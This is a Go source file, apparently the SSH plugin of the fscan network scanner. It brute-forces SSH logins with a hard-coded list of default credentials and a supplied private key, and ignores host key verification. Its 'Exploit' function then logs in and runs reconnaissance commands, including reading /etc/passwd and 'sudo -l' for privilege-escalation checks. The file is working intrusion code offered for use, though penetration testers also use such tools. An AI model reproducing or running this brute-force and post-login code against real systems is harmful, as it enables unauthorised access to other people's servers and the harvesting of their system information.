mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

将所有服务插件移动到plugins/services/目录下,使目录结构更加清晰直观: • 创建plugins/services/目录统一管理服务扫描插件 • 添加init.go提供类型别名和函数导出 • 更新main.go导入路径 • 所有20个服务插件功能验证正常 新的目录结构更便于插件管理和维护。
330 lines
7.9 KiB
Go
330 lines
7.9 KiB
Go
package services
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"io/ioutil"
|
||
"net"
|
||
"regexp"
|
||
"strings"
|
||
"time"
|
||
|
||
"golang.org/x/crypto/ssh"
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/common/i18n"
|
||
)
|
||
|
||
// SSHPlugin SSH扫描和利用插件 - 单文件实现,包含真正的利用功能
|
||
type SSHPlugin struct {
|
||
name string
|
||
ports []int
|
||
}
|
||
|
||
// NewSSHPlugin 创建SSH插件
|
||
func NewSSHPlugin() *SSHPlugin {
|
||
return &SSHPlugin{
|
||
name: "ssh",
|
||
ports: []int{22, 2222, 2200, 22222},
|
||
}
|
||
}
|
||
|
||
// GetName 实现Plugin接口
|
||
func (p *SSHPlugin) GetName() string {
|
||
return p.name
|
||
}
|
||
|
||
// GetPorts 实现Plugin接口
|
||
func (p *SSHPlugin) GetPorts() []int {
|
||
return p.ports
|
||
}
|
||
|
||
// Scan 执行SSH扫描 - 支持密码和密钥认证
|
||
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
// 如果指定了SSH密钥,优先使用密钥认证
|
||
if common.SshKeyPath != "" {
|
||
if result := p.scanWithKey(ctx, info); result != nil && result.Success {
|
||
common.LogSuccess(i18n.GetText("ssh_key_auth_success", target, result.Username))
|
||
return result
|
||
}
|
||
}
|
||
|
||
// 如果禁用暴力破解,只做服务识别
|
||
if common.DisableBrute {
|
||
return p.identifyService(info)
|
||
}
|
||
|
||
// 生成测试凭据
|
||
credentials := GenerateCredentials("ssh")
|
||
if len(credentials) == 0 {
|
||
// SSH默认凭据
|
||
credentials = []Credential{
|
||
{Username: "root", Password: ""},
|
||
{Username: "root", Password: "root"},
|
||
{Username: "root", Password: "toor"},
|
||
{Username: "admin", Password: "admin"},
|
||
{Username: "admin", Password: ""},
|
||
}
|
||
}
|
||
|
||
// 逐个测试凭据
|
||
for _, cred := range credentials {
|
||
// 检查Context是否被取消
|
||
select {
|
||
case <-ctx.Done():
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "ssh",
|
||
Error: ctx.Err(),
|
||
}
|
||
default:
|
||
}
|
||
|
||
// 测试凭据
|
||
if client := p.testCredential(ctx, info, cred); client != nil {
|
||
// SSH认证成功,关闭连接
|
||
client.Close()
|
||
|
||
// 记录成功发现弱密码
|
||
common.LogSuccess(i18n.GetText("ssh_pwd_auth_success", target, cred.Username, cred.Password))
|
||
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "ssh",
|
||
Username: cred.Username,
|
||
Password: cred.Password,
|
||
}
|
||
}
|
||
}
|
||
|
||
// 所有凭据都失败
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "ssh",
|
||
Error: fmt.Errorf("未发现弱密码"),
|
||
}
|
||
}
|
||
|
||
// Exploit 执行SSH利用操作 - 实现真正的利用功能
|
||
func (p *SSHPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||
// 建立SSH连接
|
||
client := p.testCredential(ctx, info, creds)
|
||
if client == nil {
|
||
return &ExploitResult{
|
||
Success: false,
|
||
Error: fmt.Errorf("SSH连接失败"),
|
||
}
|
||
}
|
||
defer client.Close()
|
||
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
common.LogSuccess(fmt.Sprintf("SSH利用开始: %s (用户: %s)", target, creds.Username))
|
||
|
||
// 执行系统信息收集命令
|
||
commands := []string{
|
||
"whoami", // 当前用户
|
||
"uname -a", // 系统信息
|
||
"id", // 用户权限
|
||
"pwd", // 当前目录
|
||
"ls -la /home", // 用户目录
|
||
"cat /etc/passwd | head -10", // 系统用户(前10行)
|
||
}
|
||
|
||
var output strings.Builder
|
||
output.WriteString(fmt.Sprintf("=== SSH利用结果 - %s ===\n", target))
|
||
|
||
for _, cmd := range commands {
|
||
// 检查Context是否被取消
|
||
select {
|
||
case <-ctx.Done():
|
||
return &ExploitResult{
|
||
Success: false,
|
||
Output: output.String(),
|
||
Error: ctx.Err(),
|
||
}
|
||
default:
|
||
}
|
||
|
||
// 执行命令
|
||
result, err := p.executeCommand(client, cmd)
|
||
if err != nil {
|
||
output.WriteString(fmt.Sprintf("\n[ERROR] %s: %v\n", cmd, err))
|
||
} else {
|
||
output.WriteString(fmt.Sprintf("\n[CMD] %s\n%s\n", cmd, result))
|
||
}
|
||
}
|
||
|
||
// 尝试权限提升检测
|
||
sudoCheck, _ := p.executeCommand(client, "sudo -l 2>/dev/null || echo 'sudo not available'")
|
||
output.WriteString(fmt.Sprintf("\n[SUDO] 权限检查:\n%s\n", sudoCheck))
|
||
|
||
common.LogSuccess(fmt.Sprintf("SSH利用完成: %s", target))
|
||
|
||
return &ExploitResult{
|
||
Success: true,
|
||
Output: output.String(),
|
||
}
|
||
}
|
||
|
||
// scanWithKey 使用SSH私钥扫描
|
||
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
// 读取私钥文件
|
||
keyData, err := ioutil.ReadFile(common.SshKeyPath)
|
||
if err != nil {
|
||
common.LogError(i18n.GetText("ssh_key_read_failed", err))
|
||
return nil
|
||
}
|
||
|
||
// 常见的SSH用户名
|
||
usernames := common.Userdict["ssh"]
|
||
if len(usernames) == 0 {
|
||
usernames = []string{"root", "admin", "ubuntu", "centos", "user", "git", "www-data"}
|
||
}
|
||
|
||
// 逐个测试用户名
|
||
for _, username := range usernames {
|
||
cred := Credential{
|
||
Username: username,
|
||
KeyData: keyData,
|
||
}
|
||
|
||
if client := p.testCredential(ctx, info, cred); client != nil {
|
||
client.Close()
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "ssh",
|
||
Username: username,
|
||
}
|
||
}
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// testCredential 测试单个凭据 - 返回SSH客户端或nil
|
||
func (p *SSHPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) *ssh.Client {
|
||
// 创建SSH配置
|
||
config := &ssh.ClientConfig{
|
||
User: cred.Username,
|
||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||
HostKeyCallback: ssh.InsecureIgnoreHostKey(), // 忽略主机密钥验证
|
||
}
|
||
|
||
// 设置认证方法
|
||
if len(cred.KeyData) > 0 {
|
||
// 私钥认证
|
||
signer, err := ssh.ParsePrivateKey(cred.KeyData)
|
||
if err != nil {
|
||
return nil
|
||
}
|
||
config.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||
} else {
|
||
// 密码认证
|
||
config.Auth = []ssh.AuthMethod{ssh.Password(cred.Password)}
|
||
}
|
||
|
||
// 建立连接
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
// 使用Context控制超时
|
||
type sshResult struct {
|
||
client *ssh.Client
|
||
err error
|
||
}
|
||
|
||
resultChan := make(chan sshResult, 1)
|
||
go func() {
|
||
client, err := ssh.Dial("tcp", target, config)
|
||
resultChan <- sshResult{client: client, err: err}
|
||
}()
|
||
|
||
select {
|
||
case result := <-resultChan:
|
||
if result.err != nil {
|
||
return nil
|
||
}
|
||
return result.client
|
||
case <-ctx.Done():
|
||
return nil
|
||
}
|
||
}
|
||
|
||
// executeCommand 在SSH连接上执行命令
|
||
func (p *SSHPlugin) executeCommand(client *ssh.Client, cmd string) (string, error) {
|
||
session, err := client.NewSession()
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
defer session.Close()
|
||
|
||
output, err := session.CombinedOutput(cmd)
|
||
return string(output), err
|
||
}
|
||
|
||
// identifyService 服务识别 - 不进行暴力破解时的功能
|
||
func (p *SSHPlugin) identifyService(info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
// 尝试连接获取SSH Banner
|
||
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||
if err != nil {
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "ssh",
|
||
Error: err,
|
||
}
|
||
}
|
||
defer conn.Close()
|
||
|
||
// 读取SSH Banner
|
||
if banner := p.readSSHBanner(conn); banner != "" {
|
||
common.LogSuccess(i18n.GetText("ssh_service_identified", target, banner))
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "ssh",
|
||
Banner: banner,
|
||
}
|
||
}
|
||
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "ssh",
|
||
Error: fmt.Errorf("无法识别为SSH服务"),
|
||
}
|
||
}
|
||
|
||
// readSSHBanner 读取SSH服务器Banner
|
||
func (p *SSHPlugin) readSSHBanner(conn net.Conn) string {
|
||
// 设置读取超时
|
||
conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||
|
||
// 读取Banner
|
||
banner := make([]byte, 256)
|
||
n, err := conn.Read(banner)
|
||
if err != nil || n < 4 {
|
||
return ""
|
||
}
|
||
|
||
bannerStr := strings.TrimSpace(string(banner[:n]))
|
||
|
||
// 检查SSH协议标识
|
||
if strings.HasPrefix(bannerStr, "SSH-") {
|
||
// 使用正则表达式解析版本信息
|
||
if matched := regexp.MustCompile(`SSH-([0-9.]+)-(.+)`).FindStringSubmatch(bannerStr); len(matched) >= 3 {
|
||
protocolVersion := matched[1]
|
||
serverVersion := matched[2]
|
||
return fmt.Sprintf("SSH %s (%s)", protocolVersion, serverVersion)
|
||
}
|
||
return fmt.Sprintf("SSH服务: %s", bannerStr)
|
||
}
|
||
|
||
return ""
|
||
}
|
||
|
||
// init 自动注册插件
|
||
func init() {
|
||
RegisterPlugin("ssh", func() Plugin {
|
||
return NewSSHPlugin()
|
||
})
|
||
} |